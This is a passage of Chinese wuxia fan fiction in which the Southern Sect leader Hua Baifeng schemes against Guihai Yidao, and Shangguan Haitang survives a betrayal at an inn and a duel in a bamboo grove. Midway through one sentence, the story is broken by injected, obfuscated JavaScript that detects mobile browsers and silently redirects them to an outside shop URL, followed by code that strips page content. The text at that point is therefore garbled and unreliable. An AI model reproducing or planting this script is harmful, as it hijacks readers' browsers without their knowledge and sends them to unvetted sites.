“事到如今,大家心知肚明。改土归流在即,想来狇王府不甘心白白让出权势,南教与狇王府唇齿相依,自然维护支持,石溪镇之事不正是为了搅乱局势吗?眼下我身受重伤,唯有南教心法可救,受制于人。若我贪生怕死,应了这条件,如此一来,进,我可是安插于朝廷之中的眼线,退,亦可得到我这一份战力;若我拒绝条件,也是死路一条,等于斩了护民山庄一条臂膀,而教主只需将我游历滇南、与南教圣女来往之事散布开来,以皇帝多疑,必然不再信任护民山庄,仍旧可以达到引发内乱的效果。如此两全之策,难道不是绝妙吗?” 一刀这一番分析,一针见血,字字直指要害,转瞬将花白凤精心策划的阴谋揭露无疑。而花白凤似乎也已无意伪装,她屏气运功,霎时间,一股骇人的潜力掀开珠帘,直逼一刀而来。一刀提刀奋挡,却仍是被逼退三步,惊讶之余,只见那红色面纱之下的凤眼已聚满杀气。 南教是滇南第一大帮,而花白凤乃南教教主,武功之高不言而喻,眼下一刀内力不济,若真动起手来,只怕凶多吉少。 然而,花白凤终究没有动手,只因天羽侧身挡在一刀面前。 “归海大侠言重了!”花白凤收敛杀气,继续笑道,“南教虽与狇王府交好,可说到底仍是大明子民,犯上作乱自然不敢,石溪镇之事也是误会,我自会查明。只是,听大侠所言,我倒有一个疑问。归海大侠既知皇帝多疑猜忌,又何苦愚忠?说到底,帝王之家薄情寡义,不可依靠,想那铁胆神侯不也是如此?” 又是一记回击,花白凤再度指向一刀痛处。然而一刀仍旧不为所动,眼神反而愈加坚定。 “教主说得不错,帝王寡恩,不可依靠。可学武,是为保家卫国,惩恶除奸!归海一刀虽是一介武夫,却也明白家国大义。我今日效忠皇帝,不求名利,不为恩义,只因他是这一国之君。天下可以少了归海一刀,却不能少了皇帝。” “可若少了上官海棠,又当如何?” 意料之外的一句话,却比精心堆砌的辞藻更为锋利。仅仅一个名字,就刺中归海一刀心中痛处,只见他周身杀气升腾,提刀上前一步,逼问道: “你说海棠怎么了?” “归海大侠莫急!”花白凤发出银铃般的笑声,想来这句话的挑拨效果令她十分满意,“正如大侠所言,我对归海大侠的生平略有耳闻,知道大侠与上官海棠有过一段情缘。只是上官海棠离世已有一年,归海大侠情深义重,想来不愿这么快就另寻新欢,此事是我提得唐突,抱歉!不过我说要将阿羽许配于大侠,也非戏言,大侠可以好好考虑,再给答复不迟。” “不必,归海一刀一介草莽,又是汉人,恐怕配不起……” 未等一刀说完,花白凤抬手打断一刀。 “我的女儿我知道,归海大侠英雄豪杰,阿羽心中早生爱慕,若能够与大侠结为连理,定然欢喜。对吗,阿羽?” “我……” 眼见话锋转向自己,天羽一时竟不知所措。她是喜欢一刀不假,却还未想过谈婚论嫁,再加上刚才母亲与一刀几番唇枪舌剑,她虽未完全明白,却听出几分意思,心中更是一团乱麻。 “我……我不知道……” “阿羽……” “教主!”这下,轮到一刀打断花白凤,坚决道,“我知教主用心良苦,但我的意思已经说得很明白,望教主莫要强求!” “不急不急!此事从长计议,归海大侠尽可以慢慢地想,想清楚了便来找我,我就在这临仙阁恭候大驾!” 花白凤的最后一句话似有深意,仿佛暗示一刀必定回头找她。但一刀已无意多想,俯身一拜,就要离开,却又听见身后的声音。 “归海大侠,再好心奉劝一句,既然情缘已逝,就该彻底忘记,倘若执迷不悟,可是会后悔莫及的……” 莫名其妙!一刀没有耐心再做周旋,未等花白凤说完就踏步离去。 一刀走后,偌大的殿中只剩天羽和花白凤二人。天羽望着一刀离去的身影,却不知该如何做,只是无措地定在原地。 “还不去追?” “追?” 花白凤的声音由背后清楚传来,令天羽心中一凉,苦笑道: “这是母亲给我的新任务吗?” 天羽这一说,倒出乎花白凤意料,她想不到一向恭顺听话的女儿,在与归海一刀相处几个月后,竟学会质疑自己。花白凤终于从宝座上起身,缓缓踱下台阶,来到天羽跟前,指尖勾起天羽的下巴。 “你以为母亲所做一切是在利用你,引诱归海一刀吗?” 花白凤声音如慈母般温柔,可眼神始终藏有魅惑难测之意。 “你喜欢他,不是吗?” “我……我是喜欢归海一刀没错,可……” “既然喜欢,还怕什么?我苗疆儿女敢爱敢恨,何时变得畏畏缩缩?” “可是……他不都说得很清楚了吗?他心里没有我……” “你这叫什么话?我的女儿出身高贵,美丽动人,他归海一刀是眼睛瞎了才看不上你!说到底,不就是为了那上官海棠吗?” 再次说到这个名字,花白凤的声音中明显透出几分恶毒,令天羽心中一惊。 “不过是朱无视在外捡来的野丫头,也敢和我的女儿相提并论!” “母亲……” “你放心,母亲自然会为你打算。你且不要多想,继续跟着归海一刀,过不了多久,就有好消息传来。” “母亲所说的打算,可是指昨夜派二王爷去袭击归海一刀?” 南教与狇王府渊源深厚,因此昨夜天羽一眼就认出袭击一刀的蒙面人是狇府二王爷狇雄,狇雄又与花白凤纠缠不清,天羽隐隐猜出狇雄袭击一刀是母亲的指使。可天羽不明白为什么,所以也不敢将蒙面人的真实身份告诉一刀。 “这你就不必管,你只要记着,母亲所做一切,皆是为你好!” 言至于此,花白凤眼中又闪过一丝阴寒,令天羽心惊肉跳。回溯以往,天羽虽贵为南教圣女,自小锦衣玉食,可她从未见过自己的生父,母亲是她在世上唯一的亲人。虽然母亲脾气暴躁,对她多是疏离,可天羽不敢怨恨,无论平时对待他人如何刁蛮任性,在母亲面前必是恭顺听话、勤奋练武,只为得到一个赞赏的笑容。在第一次接到命令,去接近一个名叫归海一刀的男人时,天羽没有任何猜疑犹豫,一心只想如何好好完成母亲交代的任务。可如今回想种种,天羽才发现自己不过是某个庞大计划中微不足道的一环,她不禁怀疑,那句“所做一切,皆是为你好”究竟有几分是真? 17. 祸起萧墙内 竹林杀机伏 临州城近北门处,有一间汉人开设的客栈,名为北思楼。临州四面群山环绕,苗人聚居,虽不及石溪镇商贸繁华,所幸此处物产丰饶,又毗邻银矿,不乏汉商往来,经营生意,这北思楼便是一例。说起来,汉人经商滇南,早有传统,只是近些年来,土司势力坐大,对往来商贾苛捐杂税,而汉商初来西南边陲,不通民俗,苗人也不知中原礼教,两方行事难免有所冲撞,加之魔教有意挑拨,以致汉苗矛盾日深。就拿这北思楼来说,掌柜是一位李姓寡妇,汉家女子,闺名多有避忌,故而邻舍多称其为李掌柜或李四娘。关于这北思楼与李四娘,临州城内多有传言,一说李四娘的父亲原是朝廷高官,只因得罪二十年前当权宦官曹正淳,被贬至此,客死他乡,为表追思,故而其客栈名曰“北思楼”;又一说这李四娘的丈夫原是江湖中人,只因在海外修习邪功,引来杀祸,逃难至此。可无论传言哪种是真,北思楼已在临州开了二十年,这二十年来,北思楼开门迎客、招待过往商旅,李四娘处事圆滑、八面玲珑,即可保得一己平安,又能将客栈经营得有声有色,邻人钦佩之余,也不免好奇这北思楼背后究竟有何势力作保,能在暗流涌动的临州城内站稳脚跟? 且说今日正午,北思楼门前有一苗家男子,徘徊逗留,男子盯着门前一副对联,喃喃吟道: “此心一片磁针石,不指北方不肯休。” 男子颔首沉思片刻,最终下定决心,抬腿迈入客栈。 男子刚进大门,即见一名美貌妇人迎上前来,正是掌柜李四娘。李四娘早已注意到这名男子,眼下走近一看,只见这男子衣着寒酸,却神清骨秀、目蕴精光,即知非凡,于是将他引到一旁雅座,亲自为他斟了一杯香茶。 “客官大驾光临,小店不胜荣幸!请问是要打尖还是住店?” 李四娘热情招待,男子却不回答,反而闲谈道: “这茶好香啊!小生愚见,茶水之香,一在茶叶,二在用水。请问掌柜煮茶之水,用的是河水还是井水?” 此话一出,只见李四娘忽地身形一僵,却又转瞬恢复如初,笑道: “客官说笑了,无论河水、井水,皆是大明之水。” 二人交谈,皆将声音压得极低,即便是叫外人听去,只怕也是不知所云,但这二人早已心领神会。李掌柜眼波流转,又笑道: “客官看来是懂茶之人!先父生前亦是爱茶,留下几盒珍品,知己难逢,不知客官可有兴致随我移步品鉴。” “多谢掌柜,小生自当从命!” 说话间,男子已站起身,由李掌柜引领走入后堂。李掌柜将男子引至后堂一处偏僻角落,再看四下无人,对着男子跪地一拜。 “属下拜见大人!” 原来,这北思楼乃护民山庄设在临州的分舵,而这名苗家男子正是上官海棠。 护民山庄由护龙山庄沿袭而来,其制大体如旧,以京城为中心,各级分舵层层建制,每一级分舵皆由一位掌事之人率领数名、乃至数十名密探,遍布各地,密如罗网,组成一套迅速精准的情报系统。 这还不止,这套情报系统内部等级森严,上级密探能够掌握下级分舵的所有情报,而下级分舵所属密探却不知上级,同级分舵之间亦少有往来,以此防范外敌渗透。平日若有任务下达,则以令牌为信;可若生变故,遗失令牌,则以暗号联络。方才海棠与李娘子对答即是暗号。 护民山庄在滇南设有几大分舵,其中之一就是临州北思楼,李四娘作为掌事之人,品级甚高,与她同级的滇南几大分舵掌事人她皆认得,但从未见过“天地玄黄”四大密探,因此她不认得海棠。但海棠能主动与她对答暗号,足以证明位阶在李四娘之上,故而一入后堂李四娘当即对海棠跪拜。 海棠将李四娘扶起,开口急道: “归海一刀在哪里?我要见他!” 此言一出,李四娘惊得合不拢嘴。她自然听过地字第一号密探归海一刀的大名。原本铁胆神侯在时,“天地玄黄”四大密探就是其座下直属,神侯伏诛之后,“天地玄黄”接任护民山庄庄主之位。据传四大密探各怀绝技,智谋出众,胆识超群,全庄上下密探无不仰为天人。可如今一个不过二十出头的年轻人却敢直呼归海一刀之名,言语间大有与其平起平坐之意,这叫李娘子如何不惊? 海棠一看李四娘讶异的神色,即知自己心急说错了话,于是马上改口道: “是这样,我乃归海大人座下密探,如今有要事须向大人当面禀报,望掌柜行个方便,为我通报!” “既然是归海大人的属下,为何不直接找他?更何况,归海大人昨夜已离开临州。” “离开?他去哪里了?” 此话一出,海棠更急,竟想也不想地上前抓住李四娘双肩。海棠知道北思楼是护民山庄在滇南几大分舵之一,她料想一刀到了临州必定在北思楼落脚,故而寻来。海棠刚刚恢复记忆,身无紫玉令牌,于是以应急暗号表明身份,原本以为可以顺利找到一刀,岂料一刀已经离开。接连失之交臂,饶是海棠如何沉稳,也难免急躁,但她随即意识到自己的失态,连忙松手,后退一步。 “是这样,我原本奉归海大人之命,潜伏于南教之中收集情报。只是突生变故,与归海大人断了联系,但我确有要紧之事须马上禀报。眼下只能倚靠掌柜帮忙,为我寻得归海一刀。” 海棠此话说得聪明,她深知护龙山庄情报网庞大复杂,各级分舵依令行事,并无过多交集,就连应急暗号亦是相互保密,除非最高级别的密探方能知晓。海棠已用暗号表明身份,又借“秘密任务”为由,纵然李掌柜无法求证,想来也不敢怠慢,只要能够找到一刀,接下来的事情便好解释。 果然,只见李掌柜思忖片刻,开口道: “也罢!既然大人说得出暗号,必是自家人,位阶也在我之上,属下自当遵命。只是这归海大人昨夜离去,不知所踪,眼下要找只怕需要些时间,大人不妨在小店等上一等。” 李掌柜这话说得有理,海棠也知此事不能着急,只好答应。随后,海棠跟随李掌柜指引,登上二楼,来到走廊尽头一间客房。推开房门,一股异香扑面而来,定睛一看,房屋四角以及中央的梨木桌上摆放着几盆白花。 “哎呀,好醇的酒香!这是什么佳肴?”海棠站在门外朗声问道。 “大人见笑了!这是滇南特产奶白酒。昨夜有位客人在此房内打翻酒坛,酒味还未散去。大人若是介意的话……” “不会!酒香花香相融,最是沁人!” 海棠一边笑着,一边大步踏入房中。 “此处僻静,大人可在此放心休息。属下先行告退!” 说罢,李四娘掩上房门离去。 片刻之后,李四娘端着一壶热茶和饭菜返回,她敲了敲门,房内却无任何回应,她心中不安,直接推门而入,却见海棠正倚在窗边,手中摆弄着窗前白花,而窗外正巧一只信鸽飞过。 “大人还未休息吗?”李四娘笑着迈入房中,放下手中托盘,“大人莫急,属下已放出信鸽,相信很快便有消息传回。大人若是不嫌饭菜粗简,不妨先用膳!” 李四娘殷勤招待,可海棠理也不理她,只盯着窗边白花,伸手摘下一片花瓣,问道: “素来听闻滇南之地,奇花异草甚多。敢问掌柜,这花叫什么名字?” “哈,山涧野花,随手采来装点客房罢了,哪里有什么名字?” 李四娘不答反笑,又倒了一杯热茶,捧到海棠面前。 “此乃小店珍藏多年的普洱茶,大人不赏脸尝一尝吗?” 海棠浅笑,却不接过茶杯,反而手捻花瓣,双目直视李四娘。 “我听说,近年来滇南局势日紧,汉人经商多受土司与魔教掣肘。虽说北思楼乃护龙山庄分舵,但滇南边陲之地,想来也有庇护不周之处。你一人掌管偌大分舵,既要在此立足,不受怀疑,又要费心收集情报,想来也是不容易。” “大人说的哪里话?食君之禄,为君分忧,既入护龙山庄,理当忠君护国,哪里敢言辛苦?” “说得好,那我问你一句,叛主通敌,谋害同僚,该当何罪?” 此言一出,李掌柜顿时大惊,手中茶杯摔落,慌忙道: “大人此话从何说起?” “这花,以前我曾在一个名叫恶人谷的地方见过,是叫情痴草,对吧?” 这一下,李掌柜面色更是难看,海棠心中了然,继续道: “说来可笑,我跟随名师学医,自以为遍识天下草木,却不想当年竟被这小小花朵所害,败于一个恶婆娘之手。事后我查遍典籍,这才知道此花名为情痴草,只产滇南,中原罕见,花香如酒,虽无毒,却可使人丧失内力,可谓防不胜……” 未等海棠说完,李掌柜已然按捺不住,右袖所藏软剑飞弹而出,刺向海棠胸口。可到底是海棠更快一步,只见她玉指一弹,手中花瓣化为利器,呼啸生风,直射李四娘左眼。李四娘连忙侧头闪躲,不由得剑势稍乱,海棠则瞬时双指紧夹迎面刺来的剑锋,转眼间已将对方制住。 那花瓣擦过李掌柜耳畔,削落一缕青丝。李四娘抚摸鬓边断发,忽然娇笑道: “摘叶飞花,吹发即断,上官庄主暗器功夫果真了得!” “你知我是何人?” “上官庄主乃玄字密探之首、天下第一庄庄主,威名赫赫,全庄上下无不敬仰,小女子自然知道,只是庄主不知道小女子罢了。” “你既知我的身份,为何还要害我?你可知道,背叛护龙山庄,是何下场?” 海棠声疾色厉,却不料换来一阵嘲笑。 “哈哈哈,护龙山庄?现在哪儿还有护龙山庄?铁胆神侯谋逆作乱,早已正法,你们四大密探也是乱臣贼子,现下就算取了你的性命,不但无罪,反而有功。” “你胡说!当日是皇上下令要我们对抗义父,何来乱臣贼子一说?” “哼,皇帝?皇族之人背信弃义,如今利用完了,自然卸磨杀驴。上官庄主想想那朱无视所作所为,难道还不明白?” 李四娘的话如同一把利剑,划开海棠心中伤口。李四娘眼见海棠面色有变,继续追击: “说到底,还是那归海一刀聪明,早早投入南教门下,眼下就要做南教姑爷。既然情缘已尽,上官庄主何必还要苦苦纠缠,惹得如今……” “你住口!” 李掌柜言语挑拨,惹得海棠胸中真气大乱,好不容易止住的心中虫咬般的疼痛再度发作。看李掌柜准时机,内力注入软剑,震开海棠,又同时左手一掌袭来。海棠胸口异痛难当,又被言语搅乱心神,一时竟反应不过来,被一掌打中右肩,连退数步,撞上墙角长案。 眼见海棠落了下风,李掌柜仍不收手,一剑刺来,海棠心道不妙,抬手发力,掀起长案,连同案上花草一并掷出。李掌柜本能脚步后撤,挥剑一斩,长案被一分为二,花叶四散,带有几分凌厉之势。李掌柜回想刚才的摘叶飞花,心有余悸,下意识地护住面门,却无异样,再回过神来,海棠已逃出门外。 李掌柜飞身追去,眼见海棠已穿过走廊,又一剑刺去。海棠听风辨器,头也不回,待剑锋堪堪刺到,旋身一闪,一把擒住李四娘手腕,脚下一绊,又一掌击中李四娘腹部,发力将她推落楼下。 李掌柜被海棠一掌打落楼下,撞翻一排桌椅,好不容易才稳住身形。一楼大厅本是饮茶餐食之所,宾客络绎不绝,这一闹必定惊动外人。果然,李掌柜还未回过神来,便听到接连的呼喊: “快看,她拿着刀剑!” “果然有古怪,昨夜肯定是他们搞的鬼!” 李掌柜尚未理清发生什么,已被一群苗人围住,客栈门口亦被围堵,赶忙抬头一看二楼,早已不见海棠踪影。 海棠返身往回跑,穿过走廊,撞开窗户,飞身落到后院。却不想,刚一落地,又被一群大汉围住。 这群大汉皆是客栈伙计打扮,手持刀剑,为首一人抱拳道: “小的们奉命行事,望上官庄主莫怪!” 海棠心中叫苦,眼下自己刚刚恢复记忆,流落异乡,身边无一人相识,却人人认识她、要取她性命。虽然海棠武功高强,眼下却怪疾缠身,内力不济,而对方人多势众,正苦于无法脱身,却听见身后一声大喝: “滚开,不许动她!” 只见不知何处突然蹿出一名苗家男子,手持数支蜡烛,向众人投掷,众人纷纷躲过,其中一支蜡烛落在后院稻草堆上,瞬间燃起。 “臭小子,敢多管闲事!” 为首汉子被阿凉激怒,海棠趁机脚尖一勾,踢起地上一根长杆,挑起燃烧的草堆向为首汉子抛去,那汉子本能地挥刀一砍,弄得火星四散,点燃院中其他柴火堆,顿时间,火势蔓延,浓烟滚滚。海棠趁乱,抓住阿凉往马厩跑去。 “阿雪……” “逃出去再说!” 海棠发力,将阿凉扔上马背,自己亦飞身上马,用力一鞭。那马儿也颇具灵性,扬蹄一啸,纵身越过栏杆,撞开院门,飞奔而出。 二人策马疾驰,穿过街道,冲出城门,一路狂奔,终于逃至城外一处竹林方才停下。 “你没事吧?” 刚刚经历一场厮杀逃亡,阿凉惊魂未定,仍不忘关心海棠。不想他刚一回头,却见海棠手捂心口,面色惨白,还未等他喊出声,便一头栽下马去。 “阿雪!” 阿凉吓得赶紧跳下马去扶她,却见她已然疼得说不出话。阿凉连忙扶海棠靠着一棵翠竹坐好,解下腰间水袋递上去。 海棠虽心口疼痛难当,但好歹神志清醒,她接过水袋,啜了几口,接着闭目调息。片刻之后,心口疼痛总算减缓,面色也恢复几分。 “谢谢你,又救我一命!” 海棠见阿凉在一旁神色担忧,心中感激又愧疚。自海棠恢复记忆之后,心急寻人,抛下阿凉独自前往北思楼,本以为能顺利找到一刀,不想竟遭暗算。多亏阿凉及时相救,可海棠转念一想,不禁疑惑,问道: “你怎么来了?” “我……我来救你啊!” 这么一说,海棠想起在客栈里闹事的苗人,问道: “那些闹事的人是你招来的?” “是……” “那你是怎么知道我会遇险?” “我……我……”阿凉眼神左右闪躲,却始终想不到借口,索性把心一横,“我不知道的!我只是想去捣乱,让你找不到归海一刀……” “你……” “我知道你去那客栈是为了找归海一刀。昨夜花神之宴被搅乱之后,临州城里人心惶惶,苗人们聚在一起,说是汉人捣的鬼,我就顺势和他们说那客栈有坏人出没,和这件事情有关,没想到……” “你不该这样做!你都说了眼下滇南局势紧张,人心惶惶,你这样造谣,想过后果……” “我不管!只要能够留下你,我才不管什么后果!” 眼见阿凉如今固执,海棠心中愈发不安,她想不到原先那个淳朴善良的苗家小伙,为了她竟变得如此偏激。 正当海棠苦苦思索如何劝解阿凉之时,突闻竹林深处传来一阵豪迈笑声。那笑声如此洪亮,搅得满林竹叶纷纷落下,马儿受惊,挣脱缰绳,扬蹄逃去。海棠连忙将阿凉护在身后,只见竹林深处缓缓走出一名中年男子,此人皮肤黝黑、身材魁梧,手持一柄漆黑大刀,从其握刀姿势、手上老茧以及浑厚的笑声,即知来人是武林高手。 这男子看向阿凉,眼神颇为赞许,笑道: “不错,有话直说,敢做敢当,这才是我们苗家汉子!”男子又看向海棠说道,“既然这位小兄弟如此情深,上官姑娘又何必执着过往?你若答应就此隐姓埋名,我也不用费力杀你。” 又来一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292481|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !海棠心中愤然,她想不通自己是如何惹上这一连串的杀身之祸,但她隐隐猜到与寻找一刀有关。事关一刀,海棠不禁头脑一热,开口道: “若不答应,又当如何?” “那……可就怪不得我。” 男子缓缓举刀,只一瞬,寒光乍现,刀气疾驰,海棠一把推开阿凉,自己也侧身躲开,刀气紧贴身体划过,瞬间就将她原先所靠的翠竹劈作两段。 “阿雪!” “快走!”海棠背对着阿凉发声一喊,即向男子飞身扑去。 虽仅凭一刀,海棠已看出这男子武功之高,与自己不相上下。即使全盛之时,海棠也不敢夸口能胜男子,更何况眼下她身患怪疾,内力受阻。但海棠想到阿凉在旁,为了掩护他逃跑,只能奋起应敌。 海棠身形一纵,如利箭疾飞,一掌向男子胸口拍去,可还未等男子起手抵挡,她足尖一点,凭借绝顶轻功,已跃至半空,变掌为指,疾点男子头顶“百会穴”。那男子使出一招“举火燎天”,挥刀横削,海棠临机应变,双指往刀身一弹,借力翻身,落至男子背后,双掌拍向男子两腰“京门穴”。“京门穴”隶属足少阳胆经,乃人身大穴,若被拍中,后果不堪设想,海棠运掌如风,左右夹击,势在必得,岂料男子毫不闪躲,甚至头也不回。 只听“砰”的一声,如击败革,男子似乎早知海棠内力不济,以护体真气硬接两掌,他不过身形一晃,可海棠反被大力所震,只觉得体内气血翻涌,心中剧痛如噬,还未回过神来,只见刀影如山,已周身被笼罩在对手刀势之下。 海棠如同一叶扁舟被卷入狂风暴雨之中,左右摇摆,勉力闪躲,余光一瞥,只见阿凉仍在原地,不由大急,心神稍疏,对手已是一刀迎着脖颈削来。海棠大惊,使出一招“凤点头”,冰凉的刀锋贴着后脑,削下一缕青丝。这还不完,男子趁着海棠闪招身形不稳,左手迎头抓下。海棠急怒,反先出指迎上,疾点男子掌心“劳宫穴”。海棠此招本是败中求胜,可惜她气力消耗过甚,不仅指上劲力不足以往三成,而且攻势更缓,那男子看出端倪,五指一收,变掌为拳,大力擂下,海棠也只得在倏忽之间变指为掌,硬接一拳。 可海棠早已力竭,哪里接得住,被震得身形倒飞,男子仍不放过,追击而上。岂料他身形方动,两枚碧影迎面飞来,他举刀一挡,“叮叮”两声,两枚碧影左右分飞,一枚划破他的左耳,一枚擦过他的右眼眼窝,留下一道血痕。 这是海棠的最后一击,在身体倒飞之时取两片竹叶作为暗器射出,海棠师从无痕公子,暗器之技冠绝江湖,她本想奇袭废那男子双眼,为阿凉逃跑争取时间,可惜功亏一篑。如此一来,海棠已是内力耗尽,连连后退,撞上一棵翠竹,“哇”地吐出一口鲜血,动弹不得。 那男子被伤之后,更是愤怒,凶神恶煞地逼近海棠。就在这时,原本吓得呆立一旁的阿凉鼓起全部勇气,抓起一把泥土向男子面上一撒,趁其分神之际,拉起阿雪就往竹林外跑。 “阿凉……” “临州城外有一条云江,我准备了竹筏,坐上那个我们就能逃走。” 二人拼力逃亡,那男子并未飞身紧追,却也没有放弃,只是不紧不慢跟在后头。逃出竹林,果然看见一条宽阔江河。眼见渡口就在前方,海棠却感到背后刀气逼近,她抱着阿凉翻身躲过,刀气擦着二人身体划过,以裂土之势,转瞬间将河滩上的巨石一分为二。 二人踉跄倒地,阿凉挣扎起身,拖着海棠要登船,却不料被海棠挣开,一掌打在胸口上。海棠以仅剩的全部内力,挥出掌风,一把将阿凉推上竹筏,随即捡起一枚锋利石子,割断缆绳。转瞬间,小小的竹筏如同一片落叶被卷入江中。 “阿雪——” 阿凉在竹筏上拼命呼喊,却敌不过湍急江水,一转眼,消失于茫茫江河之中。 眼见阿凉身影渐渐远去,海棠终是松了一口气,挣扎起身,靠在那块被劈开的巨石上,放声大笑。 海棠笑得悲戚、笑得令人心痛,男子缓缓走上前来,不解地看着她,问道: “上官姑娘这是……” “我累了……” 海棠渐渐止住笑声,取而代之的是放下一切的疲惫。她真的累了,对于这一次重生机会,她原是十分感激,可她也迷茫了。以往并非没有独闯江湖的经历,可那时的海棠心中有崇拜的神像、有支撑的信念、更有默默守护她的人,无论再大的困难都能撑过去。而如今,自那一夜神像破碎之后,她沉沉睡去,再次醒来却时移世易,熟悉的人不见踪影,自小赖以生存的护龙山庄早已变样,取而代之的是不明来历、却紧追不舍的杀戮。她亦奋力抵抗、挣扎、逃亡,却终是不敌。她愤恨地想到,这一个月四处奔波到底是为了什么?难道只是老天对她的折磨,将她带回世上,再受一次苦难。 “阁下要我性命,我就在这里,只求你放过阿凉。” “无冤无仇,无足轻重,我杀他做什么?” “多谢!” “哈,我要杀你,你却谢我?” “我看阁下刀势虽盛,却无杀气,想来只是奉命行事。”海棠苦笑道,“身不由己之苦,我也懂得。” 海棠话语之中,不见嘲讽,不见愤恨,更多的是感同身受的无奈。终于,那男子冰雕般的面庞有所松融。 “多谢上官姑娘体谅。不过,上官姑娘不想知道这杀身之祸因何而起?” 此话颇有试探之意,海棠并未理睬,反而抚摸起身后石头裂痕,感叹道: “想不到,世上还有如此刚猛刀法!” “这是我自创玄铁刀法,不知与归海一刀的绝情斩相比,何者更胜?” 再一次提到那个名字,海棠心口剧痛又增,她急切地望向那男子,却见对方嘴角的一抹嘲笑。 “不过,应该没有较量的机会,归海大侠很快便是我南教姑爷,我怎敢与他作对?” “你是南教的人?是为石溪镇之事而来?” “石溪镇算是多大的事情,值得这般计较吗?我今日前来杀你,其实,是归海一刀的命令。” “你说什么……” “这么说吧,归海一刀马上要与南教圣女成婚,不过他说与上官姑娘有过一段情缘,为免姑娘继续纠缠,也为免归海一刀在世人口中落下负心薄情的恶名,所以只能请姑娘……再死一次!” 男子言语恶毒,字字直指海棠心中痛处。只见海棠低头片刻,随后仰天大笑,这笑声与刚才的悲凉绝望不同,更带着几分爽朗释然。 “上官姑娘不信?” “我是不信!”海棠言语坚定,“你说一刀要娶南教圣女,可你们南教对一刀又了解多少?退一万说,就算一刀对我已无情义,他也不会为了名声而要我的性命。一刀杀人无数不假,可他并非嗜杀成性,他以往杀人,不是奉义父之命,就是为求自保,怎么可能……” “姑娘说的只是以前,你能肯定如今归海一刀不会改变,亦或是你根本看错。姑娘以前那样信任铁胆神侯,忠心不二,赴汤蹈火,换来的却是鸟尽弓藏、兔死狗烹的下场,这难道不是一个道理吗?” 又一次被揭开伤口,海棠愤恨地瞪着男子,却无言反驳,半晌,只是惨然一笑,道: “罢了,横竖我要死在这里,是非对错还有什么紧要?且让我再蠢一回吧!” 话已至此,男子不再多言,拔刀出鞘,举过头顶。 “姑娘放心,我出刀很快,不会让你受苦。” 这一句话,海棠已然听不见。她只觉得眼皮越来越重,心口疼痛到了极致,已然麻木,她见男子举刀姿势威武,恍惚想起那夜的雪飘人间同样美得可怕,往昔的种种情景如同走马灯在一一闪过,最终却化为那一抹玄色的背影飘落…… 是幻觉吗?海棠在心中自嘲道,纵然死无所惧,仍有放不下的思念。若真是上苍怜悯,只求让她再见一次…… 18. 群豪生死斗 怨侣旧恨燃 且将时间回溯些许,目光转向临仙湖畔。 与花白凤一番言语较量之后,一刀自觉无谓再做过多停留,一声不吭地提刀离开临仙阁,却不想刚行至湖边,又被追上。 “你倒是等等我啊!” 天羽气喘吁吁地追上一刀,只见她发丝微乱,脸色略显苍白,想来没有好好休息。一刀故意不看,硬着心肠,道: “你还追来干什么?这里是你的家,不要再跟着我了。” “你……就这么不想见到我吗?”此时的天羽一改以往直率泼辣,如同一个做错事的孩子,小心翼翼地问道,“你怪我把你害成这样?” “不是……”一刀想要解释,却又不知该说什么,纠结了半天,才缓缓说道,“生死有命,又不是你给我下的毒,你肯耗费功力为我祛毒,已是恩德。至于之后的事情……也不是你有意的,只怪老天作弄人罢了。” “你怎么知道我不是有意害你?别忘了,我可是你们口中魔教妖女,当初也是我把你骗来滇南的。” “那不是你母亲的命令吗?说到底,血缘亲情难以割舍,你只是奉命行事。” “你真的相信……我不是有意害你?” “你是吗?” “当然不是!” “好,我信你。” 这是几个月相处以来,天羽唯一一次见到一刀的笑容。只是淡淡一笑,却无半分虚伪造作,如同冰雪融化后的一缕春风,吹散她心中的不安与委屈。天羽几乎无法控制泪水涌出,只能赶忙别过头去。 天羽一面强忍泪水,不让一刀发现,一面还要嘴硬道: “我说不是你就信啊?活该被骗!” “你骗我什么了?” “我……” “算了,骗就骗了吧!反正这可能是最后一次见面。”说着,一刀神色恢复严肃,“刚才我和花白凤的谈话,想来你也听出几分意思。事已至此,护民山庄与南教一战在所难免,那个人终归是你母亲,就算日后对战,你也不必觉得为难。” “你知道我们日后会成为敌人,还如此替我着想?” “你救我性命,就是恩人。为恩人着想,难道不是理所应当?更何况,海棠也说过,放下固执和偏见,才能活得自在。” 又是海棠!早该想到……天羽心中苦笑,这几个月的相处下来,无论天羽想了多少办法,都无法靠近一刀内心半分,有时候她在想这人该不会就真是一块石头。直到有了关于上官海棠的消息,天羽才知道,这块名为归海一刀的顽石会笑、会怒、会着急,更会为了心爱之人幸福而主动放手。天羽被这样的痴情吸引,选择跟在他的身边,但天羽更明白了一件事,对于归海一刀而言,世间万物都不及“海棠”二字的分量。就拿眼下来说,看似对自己难得的关心体贴,却不过源于上官海棠的一句话。可若失去上官海棠…… “你不必多想。说到底母女亲情,可能你母亲也不舍得再让你卷……” “够了!”天羽猛地大喊一声,将一刀吓了一跳,“收起你这份廉价的关心吧!我才不是你的什么恩人,我就是骗了你!” 此话一出,再看天羽的反应,一刀心知不妙,脸色瞬时沉了下来。 “我……”天羽回身面向一刀,却不敢直视他的目光,几番挣扎,最终下定决心,开口道,“我没和你说实话……其实……我认得昨晚袭击你的人……他应该不是冲你而来……而是……而是冲着上官海棠……” “你说什么!” 一刀简直不敢相信自己的耳朵,他冲上前去,紧抓住天羽手臂,力道之大,几乎要将天羽的手臂拧断。 “你还等什么啊!”天羽强忍疼痛,挣脱一刀的手掌,高声道,“你快去救她啊!要是晚了,你就要真的失去她了!” 再将时间回到现在。 海棠意识越发模糊,那男子毫不留情。他将玄刀缓缓举过头顶,眼中杀意乍现,霎时间刀锋落下,伴随着惊雷般的撞击声,漆黑的刀刃被生生挡下。 未等男子反应过来,已被一股雄浑内力震开,连退数步方才稳住身形。男子定睛看清眼前之人,只见对方一身玄衣,周身肃杀之气,虽是独臂,力道却不输分毫,但眼下他无心应战,只将刀锋插入土中,转身去抱昏迷的海棠。 